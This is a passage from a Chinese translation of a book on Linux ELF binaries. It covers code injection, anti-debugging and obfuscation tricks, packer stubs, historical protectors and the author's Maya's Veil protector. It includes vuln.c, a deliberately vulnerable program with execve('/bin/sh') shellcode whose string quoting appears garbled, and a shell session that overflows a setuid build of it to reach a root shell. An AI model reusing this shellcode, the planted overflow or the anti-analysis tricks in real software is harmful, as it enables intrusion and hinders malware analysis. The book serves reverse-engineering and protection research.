如前所述,dlopen()能够将 PIE 可执行文件加载到进程中,我甚至还包含了一个链接到 Saruman 的链接,Saruman 是一个巧妙的软件,允许您在现有进程中运行程序以进行反取证措施。但是,如何注入ET_EXEC类型的可执行文件呢?这种类型的可执行文件除了动态链接的R_X86_64_JUMP_SLOT/R_386_JUMP_SLOT重定位类型之外,不提供任何重定位信息。这意味着将常规可执行文件注入到现有进程中最终将是不可靠的,特别是在注入更复杂的程序时。尽管如此,我创建了一个名为elfdemon的这种技术的 PoC,它将可执行文件映射到一些新的映射中,这些映射不会与主机进程的可执行文件映射发生冲突。然后它接管控制(与 Saruman 不同,Saruman 允许并发执行),并在运行结束后将控制权传回给主机进程。这方面的示例可以在www.bitlackeys.org/projects/elfdemon.tgz中找到。

可重定位代码注入 - ET_REL 注入

这种方法与共享库注入非常相似,但与dlopen()不兼容。ET_REL(.o 文件)是可重定位代码,与 ET_DYN(.so 文件)非常相似,但它们不是作为单个文件执行的;它们是用来链接到可执行文件或共享库中的,正如第二章中所讨论的,ELF 二进制格式。然而,这并不意味着我们不能注入它们,重定位它们并执行它们的代码。这可以通过使用之前描述的任何技术来完成,除了dlopen()。因此,open/mmap是足够的,但需要手动处理重定位,可以使用ptrace来完成。在第二章中,ELF 二进制格式,我们给出了我设计的软件Quenya中的重定位代码的示例。这演示了如何在将对象文件注入可执行文件时处理重定位。当将其注入到进程中时,可以使用相同的原则。

ELF 反调试和打包技术

在下一章《ELF 软件保护的突破》中,我们将讨论使用 ELF 可执行文件进行软件加密和打包的细节。病毒和恶意软件通常会使用某种类型的保护机制进行加密或打包,这也可能包括反调试技术,使得分析二进制文件变得非常困难。在不对这个主题进行完整的解释的情况下,以下是一些常见的 ELF 二进制保护程序采取的反调试措施,这些措施通常用于包装恶意软件。

PTRACE_TRACEME 技术

这种技术利用了一个程序一次只能被一个进程跟踪的事实。几乎所有调试器都使用ptrace,包括 GDB。这个想法是一个程序可以跟踪自己,以便没有其他调试器可以附加。

图 4.9 - 使用 PTRACE_TRACEME 的反调试示例

void anti_debug_check(void)
{
  if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
    printf("A debugger is attached, but not for long!\n");
    kill(getpid());
    exit(0);
  }
}

图 4.9中的函数将会在调试器附加时终止程序(自身);它会知道因为它无法跟踪自己。否则,它将成功地跟踪自己,并且不允许其他跟踪器,以防止调试器。

SIGTRAP 处理程序技术

在调试时,我们经常设置断点,当断点被触发时,会生成一个 SIGTRAP 信号,被我们的调试器信号处理程序捕获;程序会停止,我们可以检查它。通过这种技术,程序设置了一个信号处理程序来捕获 SIGTRAP 信号,然后故意发出一个断点指令。当程序的 SIGTRAP 处理程序捕获到它时,它会将一个全局变量从0增加到1

程序可以检查全局变量是否设置为1,如果是,那意味着我们的程序捕获了断点,没有调试器存在;否则,如果是0,那就是被调试器捕获了。在这一点上,程序可以选择终止自身或退出以防止调试:

static int caught = 0;
int sighandle(int sig)
{
     caught++;
}
int detect_debugger(void)
{
    __asm__ volatile("int3");
    if (!caught) {
        printf("There is a debugger attached!\n");
        return 1;
    }
}

/proc/self/status 技术

这个动态文件存在于每个进程中,包括很多信息,包括进程当前是否正在被跟踪。

一个/proc/self/status布局的示例,可以解析以检测跟踪器/调试器,如下所示:

ryan@elfmaster:~$ head /proc/self/status
Name:  head
State:  R (running)
Tgid:  19813
Ngid:  0
Pid:  19813
PPid:  17364
TracerPid:  0
Uid:  1000  1000  1000  1000
Gid:  31337  31337  31337  31337
FDSize:  256

如前面的输出所示,tracerPid: 0表示该进程没有被跟踪。一个程序必须做的就是打开/proc/self/status,并检查值是否为 0,以确定自己是否被跟踪。如果不是,则它知道自己正在被跟踪,可以选择终止自身或退出。

代码混淆技术

代码混淆(也称为代码转换)是一种技术,其中汇编级别的代码被修改以包括不透明的分支指令或不对齐的指令,使得反汇编器无法正确读取字节码。考虑以下示例:

jmp antidebug + 1
antidebug:
.short 0xe9 ;first byte of a jmp instruction
mov $0x31337, %eax

当前面的代码被编译并用objdump反汇编器查看时,它看起来是这样的:

   4:   eb 01                   jmp    7 <antidebug+0x1>
   <antidebug:>
   6:   e9 00 b8 37 13          jmpq   1337b80b
   b:   03 00                 add    (%rax),%eax

这段代码实际上执行了mov $0x31337, %eax操作,从功能上讲,它执行得很正确,但因为之前有一个0xe9,所以反汇编器将其视为jmp指令(因为0xe9jmp的前缀)。

因此,代码转换不会改变代码的功能,只会改变它的外观。像 IDA 这样的智能反汇编器不会被前面的代码片段所欺骗,因为它在生成反汇编时使用控制流分析。

字符串表转换技术

这是我在 2008 年构思的一种技术,我还没有看到广泛使用,但如果它没有在某处使用,我会感到惊讶。这个想法是利用我们对 ELF 字符串表和符号名称以及段头的知识。诸如 objdumpgdb(经常用于逆向工程)的工具依赖于字符串表来了解 ELF 文件中函数和段的名称。这种技术会打乱每个符号和段的名称的顺序。结果是段头将被全部混合(或看起来是这样),函数和符号的名称也是如此。

这种技术可能会让逆向工程师产生误导;例如,他们可能会认为自己正在查看一个名为 check_serial_number() 的函数,而实际上他们正在查看 safe_strcpy()。我已经在一个名为 elfscure 的工具中实现了这一点,可以在 www.bitlackeys.org/projects/elfscure.c 上找到。

ELF 病毒检测和消毒

检测病毒可能非常复杂,更不用说消毒了。我们现代的杀毒软件实际上相当荒谬且效果不佳。标准的杀毒软件使用扫描字符串,即签名,来检测病毒。换句话说,如果一个已知的病毒在二进制文件的给定偏移处始终有字符串 h4h4.infect.1+,那么杀毒软件会看到它存在于数据库中并标记为感染。从长远来看,这非常低效,特别是因为病毒不断变异成新的品系。

一些杀毒产品已知使用模拟进行动态分析,可以向启发式分析器提供关于可执行文件在运行时的行为的信息。动态分析可能很强大,但已知速度很慢。Silvio Cesare 在动态恶意软件解包和分类方面取得了一些突破,但我不确定这项技术是否被用于主流。

目前,存在着非常有限的软件用于检测和消毒 ELF 二进制感染。这可能是因为更主流的市场并不存在,而且很多这些攻击仍然处于地下状态。然而毫无疑问,黑客们正在使用这些技术来隐藏后门,并在受损系统上保持隐秘的存在。目前,我正在进行一个名为 Arcana 的项目,它可以检测和消毒许多类型的 ELF 二进制感染,包括可执行文件、共享库和内核驱动程序,并且还能够使用 ECFS 快照(在第八章中描述,ECFS – 扩展核心文件快照技术),这大大改进了进程内存取证。与此同时,您可以阅读或下载我多年前设计的以下项目中的一个原型:

Unix 环境中的大多数病毒是在系统受损后植入的,并用于通过记录有用信息(如用户名/密码)或通过挂钩守护进程与后门来维持系统上的驻留。我在这个领域设计的软件很可能被用作主机入侵检测软件或用于对二进制文件和进程内存进行自动取证分析。继续关注 bitlackeys.org/ 网站,以查看有关 Arcana 发布的任何更新,这是我最新的 ELF 二进制分析软件,将是第一个真正配备完整分析和消毒 ELF 二进制感染能力的生产软件。

我决定不在本章中写一整节关于启发式和病毒检测,因为我们将在第六章中讨论大部分这些技术,Linux 中的 ELF 二进制取证,我们将检查用于检测二进制感染的方法和启发式。

总结

在本章中,我们涵盖了有关 ELF 二进制病毒工程的“必须知道”信息。这些知识并不常见,因此本章有望作为计算机科学地下世界中这种神秘病毒艺术的独特介绍。在这一点上,您应该了解病毒感染、反调试的最常见技术,以及创建和分析 ELF 病毒所面临的挑战。这些知识在逆向工程病毒或进行恶意软件分析时非常有用。值得注意的是,可以在vxheaven.org上找到许多优秀的论文,以帮助进一步了解 Unix 病毒技术。

第五章:Linux 二进制保护

在本章中,我们将探讨 Linux 程序混淆的基本技术和动机。混淆或加密二进制文件或使其难以篡改的技术称为软件保护方案。通过“软件保护”,我们指的是二进制保护或二进制加固技术。二进制加固不仅适用于 Linux;事实上,在这个技术类型中,Windows OS 有更多的产品,也有更多的例子可供讨论。

许多人没有意识到 Linux 也有市场需求,尽管主要用于政府使用的反篡改产品。在黑客社区中,过去十年中也发布了许多 ELF 二进制保护程序,其中有几个为今天使用的许多技术铺平了道路。

整本书都可以专门讨论软件保护的艺术,作为一些最新的 ELF 二进制保护技术的作者,我很容易在这一章中陷入其中。相反,我将坚持解释基本原理和一些有趣的技术,然后深入了解我自己的二进制保护程序——玛雅的面纱。二进制保护所涉及的复杂工程和技能使其成为一个具有挑战性的话题,但我会尽力而为。

ELF 二进制打包程序-愚蠢的保护程序

打包程序是一种常用于恶意软件作者和黑客的软件类型,用于压缩或加密可执行文件以混淆其代码和数据。一个非常常见的打包程序名为 UPX(upx.sourceforge.net),并且在大多数 Linux 发行版中都作为一个软件包提供。这种类型的打包程序的最初目的是压缩可执行文件并使其更小。

由于代码被压缩,必须有一种方法在内存中执行之前对其进行解压缩——这就是事情变得有趣的地方,我们将在存根机制和用户空间执行部分讨论这是如何工作的。无论如何,恶意软件作者已经意识到,压缩其恶意软件感染文件将由于混淆而逃避 AV 检测。这导致恶意软件/杀毒软件研究人员开发了自动解包程序,现在几乎所有现代 AV 产品都在使用。

如今,“打包二进制”一词不仅指压缩的二进制文件,还指加密的二进制文件或者任何形式的混淆层保护的二进制文件。自 21 世纪初以来,已经出现了几种显著的 ELF 二进制文件保护程序,塑造了 Linux 中二进制保护的未来。我们将探讨每一种保护程序,并使用它们来模拟保护 ELF 二进制文件所使用的不同技术。然而,在此之前,让我们看看存根是如何工作的,以加载和执行压缩或加密的二进制文件。

存根机制和用户空间执行

首先,有必要了解软件保护实际上由两个程序组成:

  • 保护阶段代码:将保护应用于目标二进制文件的程序

  • 运行时引擎或存根:与目标二进制文件合并的程序,负责在运行时进行反混淆和反调试

保护程序的类型可以因应用于目标二进制文件的保护类型而有很大不同。无论应用于目标二进制文件的保护类型是什么,运行时代码必须能够理解。运行时代码(或存根)必须知道如何解密或反混淆与其合并的二进制文件。在大多数软件保护的情况下,受保护的二进制文件与一个相对简单的运行时引擎合并;它的唯一目的是解密二进制文件并将控制权传递给内存中的解密二进制文件。

这种类型的运行时引擎并不是一个引擎,我们称之为存根。存根通常是编译而成的,没有任何 libc 链接(例如,gcc -nostdlib),或者是静态编译的。这种存根虽然比真正的运行时引擎简单,但实际上仍然相当复杂,因为它必须能够从内存中exec()一个程序,这就是用户空间执行发挥作用的地方。我们应该感谢 grugq 在这里的贡献。

通常使用glibc包装器(例如execveexecvexecleexecl)的SYS_execve系统调用将加载并运行可执行文件。在软件保护程序的情况下,可执行文件是加密的,必须在执行之前解密。只有一个经验不足的黑客才会编写他们的存根来解密可执行文件,然后以解密形式将其写入磁盘,然后再使用SYS_exec执行它,尽管原始的 UPX 打包程序确实是这样工作的。

实现这一点的熟练方法是通过在原地(在内存中)解密可执行文件,然后从内存中加载和执行它,而不是从文件中。这可以从用户空间代码中完成,因此我们称这种技术为用户空间执行。许多软件保护程序实现了一个这样做的存根。实现存根用户空间执行的一个挑战是,它必须将段加载到它们指定的地址范围中,这通常是为存根可执行文件本身指定的相同地址。

这只是 ET_EXEC 类型可执行文件的问题(因为它们不是位置无关的),通常可以通过使用自定义链接器脚本来克服,该脚本告诉存根可执行文件段加载到除默认地址之外的地址。这样的链接器脚本示例在第一章的链接器脚本部分中显示,Linux 环境及其工具

注意

在 x86_32 上,默认基址是 0x8048000,在 x86_64 上是 0x400000。存根应该具有不与默认地址范围冲突的加载地址。例如,我最近编写的一个链接,文本段加载在 0xa000000 处。

存根机制和用户空间执行

图 5.1:二进制保护程序存根的模型

图 5.1以可视方式显示了加密的可执行文件嵌入在存根可执行文件的数据段中,包装在其中,这就是为什么存根也被称为包装器。

注意

我们将在第六章的识别受保护的二进制文件部分中展示,如何在许多情况下剥离包装实际上可能是一个微不足道的任务,也可能是一个使用软件或脚本自动化的任务。

典型的存根执行以下任务:

  • 解密其有效负载(即原始可执行文件)

  • 将可执行文件的可加载段映射到内存中

  • 将动态链接器映射到内存中

  • 创建一个堆栈(即使用 mmap)

  • 设置堆栈(argv,envp 和辅助向量)

  • 将控制权传递给程序的入口点

注意

如果受保护的程序是动态链接的,那么控制权将传递给动态链接器的入口点,随后将其传递给可执行文件。

这种性质的存根本质上只是一个用户空间执行的实现,它加载和执行嵌入在其自身程序体内的程序,而不是一个单独的文件。

注意

原始的用户空间执行研究和算法可以在 grugq 的名为用户空间执行的设计与实现的论文中找到,网址为grugq.github.io/docs/ul_exec.txt

一个保护程序的例子

让我们来看看一个在我写的简单保护程序保护之前和之后的可执行文件。使用readelf查看程序头,我们可以看到二进制文件具有我们期望在动态链接的 Linux 可执行文件中看到的所有段:

$ readelf -l test

Elf file type is EXEC (Executable file)
Entry point 0x400520
There are 9 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000001f8 0x00000000000001f8  R E    8
  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238
                 0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000008e4 0x00000000000008e4  R E    200000
  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x0000000000000248 0x0000000000000250  RW     200000
  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28
                 0x00000000000001d0 0x00000000000001d0  RW     8
  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254
                 0x0000000000000044 0x0000000000000044  R      4
  GNU_EH_FRAME   0x0000000000000744 0x0000000000400744 0x0000000000400744
                 0x000000000000004c 0x000000000000004c  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10
                 0x00000000000001f0 0x00000000000001f0  R      1

现在,让我们在二进制文件上运行我们的保护程序,然后查看程序头:

$ ./elfpack test
$ readelf -l test
Elf file type is EXEC (Executable file)
Entry point 0xa01136
There are 5 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000a00000 0x0000000000a00000
                 0x0000000000002470 0x0000000000002470  R E    1000
  LOAD           0x0000000000003000 0x0000000000c03000 0x0000000000c03000
                 0x000000000003a23f 0x000000000003b4df  RW     1000

有许多不同之处。入口点是0xa01136,只有两个可加载段,即文本和数据段。这两者的加载地址与以前完全不同。

这当然是因为存根的加载地址不能与其中包含的加密可执行文件的加载地址冲突,必须加载和内存映射。原始可执行文件的文本段地址为0x400000。存根负责解密嵌入其中的可执行文件,然后将其映射到PT_LOAD程序头中指定的加载地址。

如果地址与存根的加载地址冲突,那么它将无法工作。这意味着存根程序必须使用自定义链接器脚本进行编译。通常的做法是修改由ld使用的现有链接器脚本。对于本例中使用的保护程序,我修改了链接器脚本中的一行:

  • 这是原始行:
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  • 以下是修改后的行:
PROVIDE (__executable_start = SEGMENT_START("text-segment", 0xa00000)); . = SEGMENT_START("text-segment", 0xa00000) + SIZEOF_HEADERS;

从受保护的可执行文件的程序头中可以注意到的另一件事是没有PT_INTERP段或PT_DYNAMIC段。对于未经训练的人来说,这似乎是一个静态链接的可执行文件,因为它似乎没有使用动态链接。这是因为您没有查看原始可执行文件的程序头。

注意

请记住,原始可执行文件是加密的,并嵌入在存根可执行文件中,因此您实际上是从存根而不是从它所保护的可执行文件中查看程序头。在许多情况下,存根本身是使用非常少的选项编译和链接的,并且不需要动态链接本身。良好的用户空间执行实现的主要特征之一是能够将动态链接器加载到内存中。

正如我所提到的,存根是一个用户空间执行程序,它将在解密并将嵌入式可执行文件映射到内存后,将动态链接器映射到内存。动态链接器将在将控制权传递给现在解密的程序之前处理符号解析和运行时重定位。

保护程序存根执行的其他任务

除了解密和将嵌入式可执行文件加载到内存中(即用户空间执行组件),存根还可能执行其他任务。存根通常会启动反调试和反仿真例程,旨在进一步保护二进制文件,使其更难以进行调试或仿真。

在第四章中,ELF 病毒技术-Linux/Unix 病毒,我们讨论了一些用于防止基于ptrace的调试的反调试技术。这可以防止大多数调试器,包括 GDB,轻松跟踪二进制文件。在本章的后面,我们将总结用于 Linux 二进制保护的最常见反调试技术。

现有 ELF 二进制保护程序

多年来,已经发布了一些值得注意的二进制保护程序,既公开发布的,也来自地下场景。我将讨论一些用于 Linux 的保护程序,并概述各种功能。

Grugq 的 DacryFile–2001

DacryFile 是我所知道的最早的 Linux 二进制保护程序(github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile)。这个保护程序很简单,但仍然很聪明,工作方式与病毒的 ELF 寄生感染非常相似。在许多保护程序中,存根包裹在加密的二进制文件周围,但在 DacryFile 的情况下,存根只是一个简单的解密例程,被注入到要受保护的二进制文件中。

DacryFile 使用 RC4 加密从.text部分的开头到文本段的结尾加密二进制文件。解密存根是一个简单的用汇编和 C 编写的程序,它没有用户空间 exec 功能;它只是解密代码的加密主体。这个存根被插入到数据段的末尾,这非常像病毒插入寄生虫的方式。可执行文件的入口点被修改为指向存根,当二进制文件执行时,存根解密程序的文本段。然后将控制权传递给原始入口点。

注意

在支持 NX 位的系统上,数据段除非显式标记为可执行权限位,否则不能用于保存代码,即'p_flags |= PF_X'

Scut 的 Burneye - 2002

许多人认为 Burneye 是 Linux 中第一个体面的二进制加密示例。按照今天的标准,它可能被认为是薄弱的,但它仍然为这个领域带来了一些创新的功能。其中包括三层加密,第三层是受密码保护的层。

密码被转换成一种哈希和校验和,然后用于解密最外层。这意味着除非二进制文件得到正确的密码,否则它将永远无法解密。另一层,称为指纹层,可以用来代替密码层。这个功能通过算法为二进制文件在其上受到保护的系统创建一个密钥,并阻止二进制文件在受保护的系统之外的任何其他系统上解密。

还有一个自毁功能;在运行一次后删除二进制文件。Burneye 与其他保护程序的主要区别之一是它是第一个使用用户空间 exec 技术来包装二进制文件的程序。从技术上讲,这首先是由 John Resier 为 UPX 打包程序完成的,但 UPX 被认为更像是一个二进制压缩器而不是一个保护程序。据称,John 将用户空间 exec 的知识传授给了 Scut,正如 Scut 和 Grugq 在phrack.org/issues/58/5.html上写的 ELF 二进制保护文章中提到的那样。这篇文章记录了 Burneye 的内部工作原理,强烈推荐阅读。

注意

一个名为objobf的工具,代表对象混淆器,也是由 Scut 设计的。这个工具混淆了一个 ELF32 ET_REL(目标文件),使得代码非常难以反汇编,但在功能上是等效的。通过使用不透明分支和不对齐的汇编等技术,这在阻止静态分析方面可能非常有效。

Neil Mehta 和 Shawn Clowes 的 Shiva - 2003

Shiva 可能是 Linux 二进制保护的最好的公开示例。源代码从未发布过 - 只有保护程序 - 但作者在各种会议上发表了几次演讲,比如 Blackhat USA。这些演讲揭示了它的许多技术。

Shiva 适用于 32 位 ELF 可执行文件,并提供一个完整的运行时引擎(不仅仅是解密存根),在保护过程中始终协助解密和反调试功能。Shiva 提供三层加密,其中最内层永远不会完全解密整个可执行文件。它每次解密 1024 字节的块,然后重新加密。

对于一个足够大的程序,任何时候最多只有程序的三分之一会被解密。另一个强大的功能是固有的反调试功能——Shiva 保护程序使用一种技术,其中运行时引擎使用clone()生成一个线程,然后跟踪父线程,而父线程反过来跟踪子线程。这使得基于ptrace的动态分析变得不可能,因为单个进程(或线程)可能不会有多个跟踪器。而且,由于两个进程互相跟踪,其他调试器也无法附加。

注意

一位著名的逆向工程师 Chris Eagle 成功使用 IDA 的 x86 模拟器插件解包了一个受 Shiva 保护的二进制文件,并在 Blackhat 上就此成就做了一个演讲。据说这个 Shiva 的逆向工程是在 3 周内完成的。

  • 作者的演讲:

www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf

  • Chris Eagle 的演讲(破解 Shiva):

www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf

Maya's Veil by Ryan O'Neill – 2014

Maya's Veil 是我在 2014 年设计的,适用于 ELF64 二进制文件。到目前为止,该保护程序处于原型阶段,尚未公开发布,但已经出现了一些分支版本,演变成了 Maya 项目的变种。其中一个是github.com/elfmaster/,这是 Maya 的一个版本,只包括控制流完整性等反利用技术。作为 Maya 保护程序的发明者和设计者,我有权详细说明其内部工作的一些细节,主要是为了激发对这类事物感兴趣的读者的兴趣和创造力。除了是本书的作者外,我也是一个很平易近人的人,所以如果您对 Maya's Veil 有更多问题,可以随时联系我。

首先,这个保护程序被设计为仅在用户空间中解决方案(这意味着没有来自聪明的内核模块的帮助),同时仍然能够保护具有足够反篡改特性的二进制文件,甚至更令人印象深刻的是,还具有额外的反利用功能。迄今为止,Maya 拥有的许多功能只能通过编译器插件实现,而 Maya 直接在已编译的可执行二进制文件上运行。

Maya 非常复杂,记录其所有内部工作将是关于二进制保护主题的完整解释,但我将总结一些其最重要的特性。Maya 可用于创建第 1 层、第 2 层或第 3 层受保护的二进制文件。在第一层,它使用智能运行时引擎;这个引擎被编译为一个名为runtime.o的目标文件。

这个文件使用反向文本填充扩展(参见第四章,ELF 病毒技术- Linux/Unix 病毒),结合可重定位代码注入重链接技术。基本上,运行时引擎的目标文件链接到它所保护的可执行文件。这个目标文件非常重要,因为它包含了反调试、反利用、带有加密堆的自定义malloc、关于它所保护的二进制文件的元数据等代码。这个目标文件大约 90%是 C 代码,10%是 x86 汇编代码。

Maya 的保护层

玛雅具有多层保护和加密。每个额外的层都通过增加攻击者剥离的工作量来增强安全级别。最外层的层对于防止静态分析是最有用的,而最内层的层(图层 1)只会在当前调用堆栈内解密函数,并在完成后重新加密它们。以下是对每个图层的更详细解释。

图层 1

受保护的二进制的图层 1 由二进制的每个单独加密的函数组成。每个函数在调用和返回时都会动态解密和重新加密。这是因为runtime.o包含了智能和自主的自我调试能力,使其能够密切监视进程的执行,并确定何时受到攻击或分析。

运行时引擎本身已经使用代码混淆技术进行了混淆,例如 Scut 的对象混淆器工具中发现的那些技术。用于解密和重新加密函数的密钥存储和元数据存储在运行时引擎生成的加密堆中的自定义malloc()实现中。这使得定位密钥变得困难。由于它为动态解密、反调试和反利用能力提供了智能和自主的自我跟踪能力,因此图层 1 保护是第一个也是最复杂的保护级别。

图层 1

一个过于简化的图表,显示了一个受保护的二进制图层 1 与原始二进制的布局

图层 2

受保护的二进制的图层 2 与原始二进制并无二致,只是不仅函数,而且二进制中的每个其他部分都被加密以防止静态分析。这些部分在运行时解密,如果有人能够转储进程,那么某些数据将会暴露出来,这必须通过内存驱动程序完成,因为prctl()用于保护进程免受通过/proc/$pid/mem进行的普通用户空间转储(并且还阻止进程转储任何核心文件)。

图层 3

受保护的二进制的图层 3 与图层 2 相同,只是它通过将图层 2 二进制嵌入到图层 3 存根的数据段中,增加了一层完整的保护。图层 3 存根的工作方式类似于传统的用户空间执行。

玛雅的纳米机器

玛雅的面纱有许多其他功能,使得它难以逆向工程。其中一个功能称为纳米机器。这是原始二进制中的某些指令被完全删除并替换为垃圾指令或断点的地方。

当玛雅的运行时引擎看到这些垃圾指令或断点之一时,它会检查其纳米机器记录,看看原始指令是什么。记录存储在运行时引擎的加密堆段中,因此对于逆向工程师来说,访问这些信息并不容易。一旦玛雅知道原始指令的作用,它就会使用ptrace系统调用来模拟该指令。

玛雅的反利用

玛雅的反利用功能是使其与其他保护程序相比独特的原因。大多数保护程序的目标仅仅是使逆向工程变得困难,而玛雅能够加强二进制,使其许多固有的漏洞(如缓冲区溢出)无法被利用。具体来说,玛雅通过在运行时引擎中嵌入特殊的控制流完整性技术来防止ROP(即Return-Oriented Programming)。

受保护的二进制中的每个函数都在入口点和每个返回指令处插入了一个断点(int3)。int3断点会触发运行时引擎产生 SIGTRAP;然后运行时引擎会执行以下几种操作之一:

  • 解密函数(仅在遇到入口int3断点时)

  • 加密函数(仅在遇到返回int3断点时)

  • 检查返回地址是否被覆盖

  • 检查int3断点是否是 nanomite;如果是,它将进行模拟

第三个要点是反 ROP 功能。运行时引擎检查包含程序内各个点的有效返回地址的哈希映射。如果返回地址无效,Maya 将退出,利用尝试将失败。

以下是一个特制的易受攻击的软件代码示例,用于测试和展示 Maya 的反 ROP 功能:

vuln.c 的源代码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

/*
 * This shellcode does execve("/bin/sh", …)
 /
char shellcode[] = "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\"
"x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8"
"\xde\xff"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41"
"\x42\x42";

/*
 * This function is vulnerable to a buffer overflow. Our goal is to
 * overwrite the return address with 0x41414141 which is the addresses
 * that we mmap() and store our shellcode in.
 */
int vuln(char *s)
{
        char buf[32];
        int i;

        for (i = 0; i < strlen(s); i++) {
                buf[i] = *s;
                s++;
        }
}

int main(int argc, char **argv)
{
        if (argc < 2)
        {
                printf("Please supply a string\n");
                exit(0);
        }
        int i;
        char *mem = mmap((void *)(0x41414141 & ~4095),
                                 4096,
                                 PROT_READ|PROT_WRITE|PROT_EXEC,
                                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,
                                -1,
                                 0);

        memcpy((char *)(mem + 0x141), (void *)&shellcode, 46);
        vuln(argv[1]);
        exit(0);

}

利用 vuln.c 的示例

让我们看看如何利用vuln.c

$ gcc -fno-stack-protector vuln.c -o vuln
$ sudo chmod u+s vuln
$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# whoami
root
#

现在让我们使用 Maya 的-c选项来保护 vuln,这意味着控制流完整性。然后我们将尝试利用受保护的二进制文件:

 $ ./maya -l2 -cse vuln

[MODE] Layer 2: Anti-debugging/anti-code-injection, runtime function level protection, and outter layer of encryption on code/data
[MODE] CFLOW ROP protection, and anti-exploitation
[+] Extracting information for RO Relocations
[+] Generating control flow data
[+] Function level decryption layer knowledge information:
[+] Applying function level code encryption:simple stream cipher S
[+] Applying host executable/data sections: SALSA20 streamcipher (2nd layer protection)
[+] Maya's Mind-- injection address: 0x3c9000
[+] Encrypting knowledge: 111892 bytes
[+] Extracting information for RO Relocations
[+] Successfully protected binary, output file is named vuln.maya

$ ./vuln.maya AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[MAYA CONTROL FLOW] Detected an illegal return to 0x41414141, possible exploitation attempt!
Segmentation fault
$

这表明 Maya 已经检测到一个无效的返回地址0x41414141,在返回指令实际成功之前。Maya 的运行时引擎通过安全地崩溃程序来干扰(而不是利用)。

Maya 强制执行的另一个反利用功能是relro只读重定位)。大多数现代 Linux 系统都启用了此功能,但如果未启用,Maya 将通过使用mprotect()创建一个包含the.jcr.dynamic.got.ctors.init_array)和.dtors.fini_array)部分的只读页面来强制执行。其他反利用功能(如函数指针完整性)正在计划中,尚未纳入代码库。

下载 Maya 保护的二进制文件

对于那些有兴趣逆向工程一些使用 Maya 的 Veil 保护的简单程序的人,可以随意下载一些样本,这些样本可以在www.bitlackeys.org/maya_crackmes.tgz上找到。此链接包含三个文件:crackme.elf_hardestcrackme.elf_mediumtest.maya

二进制保护的反调试

由于二进制保护程序通常加密或混淆程序的物理主体,静态分析可能非常困难,并且在许多情况下将被证明是徒劳的。大多数试图解包或破解受保护二进制文件的逆向工程师都会同意,必须使用动态分析和静态分析的组合来访问二进制文件的解密主体。

受保护的二进制文件必须解密自身,或者至少解密在运行时执行的部分。没有任何反调试技术,逆向工程师可以简单地附加到受保护程序的进程,并在存根的最后一条指令上设置断点(假设存根解密整个可执行文件)。

一旦触发断点,攻击者可以查看受保护二进制文件所在的代码段,并找到其解密后的主体。这将非常简单,因此对于良好的二进制保护来说,使用尽可能多的技术使逆向工程师难以进行调试和动态分析非常重要。像 Maya 这样的保护程序会竭尽全力保护二进制免受静态和动态分析的影响。

动态分析并不局限于ptrace系统调用,尽管大多数调试器仅限于此目的来访问和操作进程。因此,二进制保护程序不应仅限于保护ptrace;理想情况下,它还应该对其他形式的动态分析具有抵抗力,比如模拟和动态插装(例如PinDynamoRIO)。我们在前几章中介绍了许多针对ptrace分析的反调试技术,但对于模拟的抵抗力呢?

对模拟的抵抗力

通常,仿真器用于对可执行文件执行动态分析和逆向工程任务。这样做的一个非常好的原因是它们允许逆向工程师轻松地操纵执行的控制,并且它们也绕过了许多典型的反调试技术。有许多仿真器被广泛使用——QEMU、BOCHS 和 Chris Eagles 的 IDA X86 仿真器插件,只是其中一些。因此,存在无数的反仿真技术,但其中一些是特定于每个仿真器的特定实现。

这个话题可以扩展到一些非常深入的讨论,并且可以朝多个方向发展,但我将把它限制在我自己的经验范围内。在我自己对 Maya 保护程序中的仿真和反仿真的实验中,我学到了一些通用的技术,应该对至少一些仿真器有效。我们的二进制保护程序的反仿真目标是能够检测是否在仿真器中运行,并且如果是真的,它应该停止执行并退出。

通过系统调用测试检测仿真

这种技术在应用级仿真器中特别有用,这些仿真器在某种程度上与操作系统无关,并且不太可能实现超出基本系统调用(readwriteopenmmap等)的功能。如果仿真器不支持系统调用,并且也不将不支持的系统调用委托给内核,那么很可能会得到错误的返回值。

因此,二进制保护程序可以调用少量不太常见的系统调用,并检查返回值是否与预期值匹配。非常类似的技术是调用某些中断处理程序,看它们是否表现正常。无论哪种情况,我们都在寻找仿真器没有正确实现的操作系统特性。

